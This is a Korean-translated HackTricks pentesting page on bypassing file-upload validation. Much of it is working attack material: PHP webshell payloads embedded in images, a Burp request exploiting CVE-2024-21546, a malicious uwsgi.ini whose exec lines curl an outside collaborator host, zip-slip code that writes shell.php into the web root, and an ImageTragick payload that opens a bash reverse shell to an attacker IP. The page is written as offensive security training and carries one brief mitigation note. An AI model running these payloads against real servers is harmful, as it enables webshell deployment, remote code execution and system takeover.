파일 업로드

Reading time: 18 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

파일 업로드 일반 방법론

다른 유용한 확장자:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8에서 작동: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

파일 확장자 검사 우회

  1. 적용된다면, 이전 확장자들확인하세요. 또한 일부 대문자를 사용해 테스트하세요: pHp, .pHP5, .PhAr ...
  2. 실행 확장자 앞에 유효한 확장자를 추가하여 검사하세요 (이전 확장자들도 사용하세요):
  • file.png.php
  • file.png.Php5
  1. 끝에 특수 문자를 추가해보세요. Burp를 사용해 모든 asciiUnicode 문자를 bruteforce할 수 있습니다. (참고: 이전에 언급한 extensions도 사용할 수 있습니다)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. 서버 측의 확장자 파서를 속여 보호를 우회해보세요. 예: 확장자 중복 또는 확장자 사이에 junk 데이터(null bytes) 추가. 더 나은 페이로드를 위해 이전 확장자도 사용할 수 있습니다.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 이전 검사에 추가 확장자 레이어를 더해보세요:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 유효한 확장자 앞에 exec extension을 넣어보세요(서버가 잘못 구성되어 있을 때 유용). (예: Apache misconfigurations에서는 확장자가 .php인 파일이라면 반드시 .php로 끝나지 않아도 코드가 실행될 수 있습니다):
  • ex: file.php.png
  1. Windows에서 NTFS alternate data stream (ADS) 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 금지된 확장자를 가진 빈 파일이 생성될 수 있습니다(예: "file.asax:.jpg"). 이 파일은 이후 short filename 같은 기법으로 편집될 수 있습니다. "::$data” 패턴은 비어있지 않은 파일을 생성하는 데에도 사용될 수 있습니다. 따라서 이 패턴 뒤에 점을 추가하면 추가 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data.").
  2. 파일 이름 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

일부 업로드 핸들러는 저장된 파일명에서 후행 점 문자를 트리밍하거나 정규화합니다. UniSharp의 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 이전 버전에서는 다음 방식으로 확장자 검증을 우회할 수 있습니다:

  • 유효한 이미지 MIME 및 magic header 사용 (예: PNG의 \x89PNG\r\n\x1a\n).
  • 업로드 파일명을 PHP 확장자 뒤에 점을 붙여서 지정 (예: shell.php.).
  • 서버가 후행 점을 제거하고 shell.php로 저장하며, 이것이 웹으로 서비스되는 디렉토리(기본 public storage 예: /storage/files/)에 위치하면 실행됩니다.

간단한 PoC (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

그런 다음 저장된 경로로 접근하세요 (Laravel + LFM에서 일반적):

GET /storage/files/0xdf.php?cmd=id

Mitigations:

  • Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
  • 서버 측에서 엄격한 allowlists를 적용하고 저장된 파일명을 재검증하세요.
  • 업로드 파일은 실행 불가능한 위치에서 서빙하세요.

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type 검사를 위해 Content-Type headervalue를 다음으로 설정하세요: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • magic number 검사를 우회하려면 파일의 시작 부분에 실제 이미지의 바이트를 추가하세요 (file 명령을 혼동시킵니다). 또는 메타데이터에 백도어를 삽입할 수 있습니다:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ 또는 이미지를 직접 페이로드로 조작할 수도 있습니다:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 만약 이미지에 압축이 적용되는 경우, 예를 들어 PHP-GD 같은 표준 PHP 라이브러리를 사용할 때는 위 기법들이 통하지 않을 수 있습니다. 그러나 PLTE chunk technique defined here를 이용해 압축을 통과하는 텍스트를 삽입할 수 있습니다.
  • Github with the code
  • 웹 페이지가 imagecopyresized 또는 imagecopyresampled 같은 PHP-GD 함수를 사용해 이미지를 리사이징할 수도 있습니다. 하지만 IDAT chunk technique defined here를 사용하면 압축을 견디는 텍스트를 삽입할 수 있습니다.
  • Github with the code
  • 또 다른 기법으로 PHP-GD의 thumbnailImage 함수를 사용할 때에도 리사이징을 통과하는 페이로드를 만들 수 있습니다. 또는 tEXt chunk technique defined here를 이용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
  • Github with the code

Other Tricks to check

  • 이미 업로드된 파일을 rename(확장자 변경)할 수 있는 취약점을 찾아보세요.
  • 백도어를 실행하기 위한 Local File Inclusion 취약점을 찾아보세요.
  • Possible Information disclosure:
  1. 동일한 이름의 동일한 파일을 여러 번 (그리고 동시에) 업로드해보세요.
  2. 이미 존재하는 파일이나 폴더이름으로 파일을 업로드해보세요.
  3. 파일 이름을 ".", "..", 또는 **"…"**로 업로드해보세요. 예를 들어 Apache가 Windows에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 "uploads"라는 파일을 생성할 수 있습니다.
  4. NTFS에서 삭제하기 어려운 파일 이름(예: "…:.jpg")을 업로드해보세요. (Windows)
  5. Windows에서 파일 이름에 |<>*?” 같은 유효하지 않은 문자를 포함해 업로드해보세요. (Windows)
  6. Windows에서 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 같은 예약(금지)된 이름으로 파일을 업로드해보세요.
  • 실수로 피해자가 열었을 때 코드가 실행되는 실행 파일(.exe)이나 비교적 덜 의심받는 .html 파일을 업로드해보세요.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

.phar 파일은 Java의 .jar와 유사하지만 PHP용이며, php로 실행하거나 스크립트에 포함해 php 파일처럼 사용할 수 있습니다 (php로 실행하거나 include 등). .inc 확장자는 종종 파일 임포트용 php 파일에 사용되므로, 어떤 경우에는 이 확장자가 실행되도록 허용되어 있을 수 있습니다.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because new *.xml and *.war are automatically processed. 따라서 아래 이미지에서 언급된 것처럼 XML 파일을 $JETTY_BASE/webapps/에 업로드하면 쉘을 얻을 수 있습니다!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

원격 명령 실행(RCE) 취약점은 .ini 설정 파일을 수정할 수 있는 능력이 있을 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더, 연산자를 포함하는 특정 문법을 사용합니다. 특히 @(filename)처럼 사용되는 '@' 연산자는 파일 내용을 포함하도록 설계되어 있습니다. uWSGI에서 지원하는 여러 스킴 중에서 "exec" 스킴은 프로세스의 표준 출력에서 데이터를 읽어오는 기능을 제공하여 특히 강력합니다. 이 기능은 .ini 구성 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read 같은 악의적 목적에 악용될 수 있습니다.

다음은 다양한 스킴을 보여주는 악성 uwsgi.ini 파일의 예를 고려해보세요:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

payload의 실행은 설정 파일을 파싱하는 동안 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(잠재적으로 크래시 후 또는 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화되어 있으면 변경을 감지할 때 지정된 간격으로 파일을 다시 로드합니다.

uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 특히, 앞서 논의한 payload는 binary file(예: image나 PDF) 안에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다.

wget File Upload/SSRF Trick

어떤 경우에는 서버가 **wget**을 사용해 파일을 다운로드하고 URL지정할 수 있게 되어 있는 것을 발견할 수 있습니다. 이런 경우, 코드가 다운로드된 파일의 확장자가 화이트리스트에 포함되어 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 이 검사는 우회될 수 있습니다.
linux에서 filenamemaximum 길이는 255이지만, wget은 파일명을 236자로 잘라냅니다. 예를 들어, download a file called "A"*232+".php"+".gif", 이 파일명은 bypass the check(이 예에서 **".gif"**는 valid 확장자이기 때문에), 하지만 wget은 파일명을 **"A"*232+".php"**로 rename합니다.

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

Tools

  • Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.

Corrupting upload indices with snprintf quirks (historical)

Some legacy upload handlers that use snprintf() or similar to build multi-file arrays from a single-file upload can be tricked into forging the _FILES structure. Due to inconsistencies and truncation in snprintf() behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

다른 폴더로 압축 해제

압축 해제 중 디렉터리 내에 파일이 의도치 않게 생성되는 것은 심각한 문제입니다. 이 구성이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 수 있을 것이라는 초기 가정과는 달리, 계층적 압축 지원과 ZIP 아카이브 형식의 디렉터리 트래버설 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제한을 우회하고 보안 업로드 디렉터리에서 탈출할 수 있습니다.

이러한 파일을 제작하기 위한 자동화된 익스플로잇은 evilarc on GitHub에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

또한, symlink trick with evilarc도 하나의 옵션입니다. 목표가 /flag.txt와 같은 파일을 겨냥하는 것이라면, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동하는 동안 오류가 발생하지 않습니다.

아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

압축 악용을 통한 file spraying

자세한 내용은 원본 게시물을 확인하세요: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP 코드는 $_REQUEST 변수를 통해 전달된 명령을 실행하도록 작성됩니다.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: 여러 파일을 생성한 후 이 파일들을 포함하는 zip 아카이브를 만듭니다.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: zip 안의 파일 이름을 vi 또는 hex editor로 변경하여 "xxA"를 "../"로 바꿔 디렉터리 순회(traversal)를 수행합니다.
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

이 콘텐츠를 이미지 확장자로 업로드하여 취약점 (ImageMagick , 7.0.1-1) 을 악용하세요 (exploit은 https://www.exploit-db.com/exploits/39767)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG에 PHP 셸 임베딩

PNG 파일의 IDAT 청크에 PHP 셸을 임베딩하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 imagecopyresizedimagecopyresampled 함수는 각각 이미지 크기 조정과 리샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 임베딩된 PHP 셸이 이러한 작업으로 영향을 받지 않고 남아 있을 수 있다는 점은 특정 사용 사례에서 큰 이점입니다.

이 기법의 방법론과 잠재적 적용 사례를 자세히 다룬 글은 다음 기사에서 확인할 수 있습니다: "Encoding Web Shells in PNG IDAT chunks". 이 자료는 절차와 그 영향에 대한 포괄적인 이해를 제공합니다.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot files는 사이버보안에서 독특한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIFAR가 있는데, 이는 GIF이자 RAR 아카이브로 동시에 동작하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.

Polyglot files의 핵심 유용성은 파일 유형을 기준으로 파일을 검사하는 보안 조치를 우회할 수 있다는 점입니다. 다양한 애플리케이션에서는 잠재적으로 위험한 포맷(e.g., JS, PHP, or Phar files)에 대한 위험을 줄이기 위해 JPEG, GIF, 또는 DOC 같은 특정 파일 타입만 업로드를 허용하는 경우가 일반적입니다. 그러나 polyglot은 여러 파일 타입의 구조적 기준을 동시에 만족함으로써 이러한 제한을 은밀히 우회할 수 있습니다.

적응성에도 불구하고 polyglots는 한계에 직면할 수 있습니다. 예를 들어, polyglot가 PHAR 파일(PHp ARchive)과 JPEG를 동시에 구현할 수 있더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 따라 달라질 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하다면, 단순한 구조적 이중성만으로는 업로드 성공을 보장하지 못할 수 있습니다.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

허용되지 않은 경우에도 PDF 파일로 위장하여 유효한 JSON 파일을 업로드해 파일 유형 탐지를 우회하는 방법(기법 출처: this blog post):

  • mmmagic library: %PDF 매직 바이트가 처음 1024 바이트 안에 있으면 유효하다고 판단됩니다 (예시는 포스트에서 확인).
  • pdflib library: JSON의 필드 내부에 가짜 PDF 포맷을 추가해 라이브러리가 이를 PDF로 인식하게 합니다 (예시는 포스트에서 확인).
  • file binary: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 이보다 큰 JSON을 만들어 파일을 JSON으로 파싱하지 못하게 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 file은 이를 PDF로 판단합니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기